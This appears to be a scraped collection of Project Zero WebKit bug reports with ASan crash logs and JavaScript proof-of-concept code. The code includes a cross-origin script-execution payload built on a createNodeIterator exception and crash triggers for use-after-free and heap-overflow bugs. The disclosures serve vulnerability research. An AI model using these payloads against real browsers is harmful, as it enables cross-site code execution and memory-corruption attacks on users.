    #17 0x10be5058d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #18 0x10b8bd661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #19 0x10b9e91f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #20 0x10b9ad86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #21 0x10b48dfb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #22 0x10b488b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #23 0x10da397e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #24 0x1042af615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #25 0x1042aec2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #26 0x103c5d1f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #27 0x103a80448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #28 0x103a89614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #29 0x108f65ab3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6ab3)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa) in WebCore::Node::treeScope() const
Shadow bytes around the buggy address:
  0x1c1000007c10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c1000007c20: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1000007c30: fa fa fa fa 00 00 00 00 00 00 00 fc fc 00 00 fa
  0x1c1000007c40: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c1000007c50: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x1c1000007c60: fa fa fa fa fd fd fd fd[fd]fd fd fd fd fd fd fd
  0x1c1000007c70: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1000007c80: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1000007c90: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1000007ca0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1000007cb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==531==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068

Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
        : m_callback(callback->globalObject()->vm(), callback)
    {
    }

    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
        return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }

private:
    JSC::Strong<JSC::JSObject> m_callback;
};

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
    ASSERT(callback);

    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());  <<<---------- (1)
    ASSERT(globalObject);

    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;

    if (method != CallbackType::Object) {
        function = callback;
        callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
        if (method == CallbackType::Function) {
            returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));  <<<---------- (2)
            return JSValue();
        }
        ...
    }
    ...
}

But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.

PoC:
-->

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    f.onload = null;

    try {
        let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
        iterator.nextNode();
    } catch (e) {
        e.constructor.constructor("alert(location)")();
    }
};

f.src = "https://abc.xyz/";
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1098

I confirmed the PoC crashes the release version of Safari 10.0.3(12602.4.8).
(It might need to refresh the page several times.)

PoC:
-->

(function (x = 0) {
    var a;
    {
        function arguments() {
        }

        function b() {
            var g = 1;
            a[5];
        }

        f();
        g();
    }
}());

<!--
Asan Log:
==55079==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000c8e88 at pc 0x00010c30506a bp 0x7fff58fae860 sp 0x7fff58fae858
READ of size 8 at 0x60c0000c8e88 thread T0
    #0 0x10c305069 in JSC::SymbolTableEntry::isWatchable() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1671069)
    #1 0x10c304f40 in JSC::SymbolTableEntry::prepareToWatch() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1670f40)
    #2 0x10b2bd728 in JSC::CodeBlock::finishCreation(JSC::VM&, JSC::ScriptExecutable*, JSC::UnlinkedCodeBlock*, JSC::JSScope*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x629728)
    #3 0x10c290c73 in JSC::FunctionCodeBlock::create(JSC::VM*, JSC::FunctionExecutable*, JSC::UnlinkedFunctionCodeBlock*, JSC::JSScope*, WTF::PassRefPtr<JSC::SourceProvider>, unsigned int, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73)
    #4 0x10c2901ea in JSC::ScriptExecutable::newCodeBlockFor(JSC::CodeSpecializationKind, JSC::JSFunction*, JSC::JSScope*, JSC::JSObject*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fc1ea)
    #5 0x10c29182a in JSC::ScriptExecutable::prepareForExecutionImpl(JSC::VM&, JSC::JSFunction*, JSC::JSScope*, JSC::CodeSpecializationKind, JSC::CodeBlock*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fd82a)
    #6 0x10bf2c921 in JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1298921)
    #7 0x10bf3b9ce in llint_entry (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a79ce)
    #8 0x10bf34faa in vmEntryToJavaScript (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a0faa)
    #9 0x10bbf7d1d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf63d1d)
    #10 0x10bb80c6d in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xeecc6d)
    #11 0x10b371316 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd316)
    #12 0x10b37151e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd51e)
    #13 0x116201743 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f5743)
    #14 0x1162012b4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f52b4)
    #15 0x116214881 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2508881)
    #16 0x116211943 in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2505943)
    #17 0x114a13b5c in WebCore::HTMLScriptRunner::runScript(WebCore::Element*, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07b5c)
    #18 0x114a13895 in WebCore::HTMLScriptRunner::execute(WTF::PassRefPtr<WebCore::Element>, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07895)
    #19 0x11493fc35 in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33c35)
    #20 0x114940372 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34372)
    #21 0x11493f544 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33544)
    #22 0x114940f9d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34f9d)
    #23 0x1143a3df1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x697df1)
    #24 0x1144d3118 in WebCore::DocumentWriter::end() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c7118)
    #25 0x11449622f in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a22f)
    #26 0x113f73b77 in WebCore::CachedResource::checkNotify() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x267b77)
    #27 0x113f6d709 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x261709)
    #28 0x11651ea04 in WebCore::SubresourceLoader::didFinishLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2812a04)
    #29 0x1075ef6b5 in WebKit::WebResourceLoader::didFinishResourceLoad(double) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9886b5)
    #30 0x1075f2965 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x98b965)
    #31 0x1075f1f8a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x98af8a)
    #32 0x106f3c639 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d5639)
    #33 0x106d17088 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb0088)
    #34 0x106d206b4 in IPC::Connection::dispatchOneMessage() (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb96b4)
    #35 0x10c514653 in WTF::RunLoop::performWork() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1880653)
    #36 0x10c514ebe in WTF::RunLoop::performWork(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1880ebe)
    #37 0x7fff9373e980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
    #38 0x7fff9371fa7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
    #39 0x7fff9371ef75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
    #40 0x7fff9371e973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
    #41 0x7fff92caaacb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30acb)
    #42 0x7fff92caa900 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30900)
    #43 0x7fff92caa735 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30735)
    #44 0x7fff91250ae3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x46ae3)
    #45 0x7fff919cb21e in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c121e)
    #46 0x7fff91245464 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3b464)
    #47 0x7fff9120fd7f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x5d7f)
    #48 0x7fffa8edb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #49 0x7fffa8eda2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #50 0x106c4bb73 in main (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #51 0x7fffa8c77254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x60c0000c8e88 is located 8 bytes to the right of 128-byte region [0x60c0000c8e00,0x60c0000c8e80)
allocated by thread T0 here:
    #0 0x109508bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
    #1 0x10c55a01e in bmalloc::Allocator::allocateSlowCase(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18c601e)
    #2 0x10c4f5535 in bmalloc::Allocator::allocate(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1861535)
    #3 0x10b257f38 in WTF::HashTable<WTF::RefPtr<WTF::UniquedStringImpl>, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry> >, JSC::IdentifierRepHash, WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::KeyValuePairTraits, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> > >::allocateTable(unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5c3f38)
    #4 0x10b257df1 in WTF::HashTable<WTF::RefPtr<WTF::UniquedStringImpl>, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry> >, JSC::IdentifierRepHash, WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::KeyValuePairTraits, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> > >::rehash(unsigned int, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5c3df1)
    #5 0x10c30623a in WTF::HashTableAddResult<WTF::HashTableIterator<WTF::RefPtr<WTF::UniquedStringImpl>, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry> >, JSC::IdentifierRepHash, WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::KeyValuePairTraits, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> > > > WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::add<JSC::SymbolTableEntry>(WTF::RefPtr<WTF::UniquedStringImpl> const&, JSC::SymbolTableEntry&&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x167223a)
    #6 0x10c305cca in JSC::SymbolTable::cloneScopePart(JSC::VM&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1671cca)
    #7 0x10b2c01e4 in JSC::CodeBlock::setConstantRegisters(WTF::Vector<JSC::WriteBarrier<JSC::Unknown>, 0ul, WTF::CrashOnOverflow, 16ul> const&, WTF::Vector<JSC::SourceCodeRepresentation, 0ul, WTF::CrashOnOverflow, 16ul> const&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x62c1e4)
    #8 0x10b2bba44 in JSC::CodeBlock::finishCreation(JSC::VM&, JSC::ScriptExecutable*, JSC::UnlinkedCodeBlock*, JSC::JSScope*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x627a44)
    #9 0x10c290c73 in JSC::FunctionCodeBlock::create(JSC::VM*, JSC::FunctionExecutable*, JSC::UnlinkedFunctionCodeBlock*, JSC::JSScope*, WTF::PassRefPtr<JSC::SourceProvider>, unsigned int, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73)
    #10 0x10c2901ea in JSC::ScriptExecutable::newCodeBlockFor(JSC::CodeSpecializationKind, JSC::JSFunction*, JSC::JSScope*, JSC::JSObject*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fc1ea)
    #11 0x10c29182a in JSC::ScriptExecutable::prepareForExecutionImpl(JSC::VM&, JSC::JSFunction*, JSC::JSScope*, JSC::CodeSpecializationKind, JSC::CodeBlock*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fd82a)
    #12 0x10bf2c921 in JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1298921)
    #13 0x10bf3b9ce in llint_entry (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a79ce)
    #14 0x10bf34faa in vmEntryToJavaScript (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a0faa)
    #15 0x10bbf7d1d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf63d1d)
    #16 0x10bb80c6d in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xeecc6d)
    #17 0x10b371316 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd316)
    #18 0x10b37151e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd51e)
    #19 0x116201743 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f5743)
    #20 0x1162012b4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f52b4)
    #21 0x116214881 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2508881)
    #22 0x116211943 in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2505943)
    #23 0x114a13b5c in WebCore::HTMLScriptRunner::runScript(WebCore::Element*, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07b5c)
    #24 0x114a13895 in WebCore::HTMLScriptRunner::execute(WTF::PassRefPtr<WebCore::Element>, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07895)
    #25 0x11493fc35 in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33c35)
    #26 0x114940372 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34372)
    #27 0x11493f544 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33544)
    #28 0x114940f9d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34f9d)
    #29 0x1143a3df1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x697df1)

SUMMARY: AddressSanitizer: heap-buffer-overflow (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1671069) in JSC::SymbolTableEntry::isWatchable() const
Shadow bytes around the buggy address:
  0x1c1800019180: 00 00 00 00 00 00 06 fa fa fa fa fa fa fa fa fa
  0x1c1800019190: 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
  0x1c18000191a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c18000191b0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c18000191c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c18000191d0: fa[fa]fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c18000191e0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c18000191f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1800019200: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800019210: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c1800019220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55079==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1101

Note: It seems it doesn't crash the JSC compiled without Address Sanitizer.

PoC:
-->

(function () {
    for (var i = 0; i < 1000000; ++i) {
        const v = Array & 1 ? v : 1;
        typeof o <= 'object';
    }
}());

<!--
Asan Log:
=================================================================
==32191==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000099738 at pc 0x000106c7af16 bp 0x700006a57850 sp 0x700006a57848
READ of size 8 at 0x607000099738 thread T20
==32191==AddressSanitizer: while reporting a bug found another one. Ignoring.
    #0 0x106c7af15 in JSC::B3::Procedure::resetReachability() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4c7f15)
    #1 0x106a1be8c in JSC::B3::generateToAir(JSC::B3::Procedure&, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x268e8c)
    #2 0x106a1bd2f in JSC::B3::prepareForGeneration(JSC::B3::Procedure&, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x268d2f)
    #3 0x107424312 in JSC::FTL::compile(JSC::FTL::State&, JSC::DFG::Safepoint::Result&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc71312)
    #4 0x107232f3b in JSC::DFG::Plan::compileInThreadImpl(JSC::DFG::LongLivedState&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7ff3b)
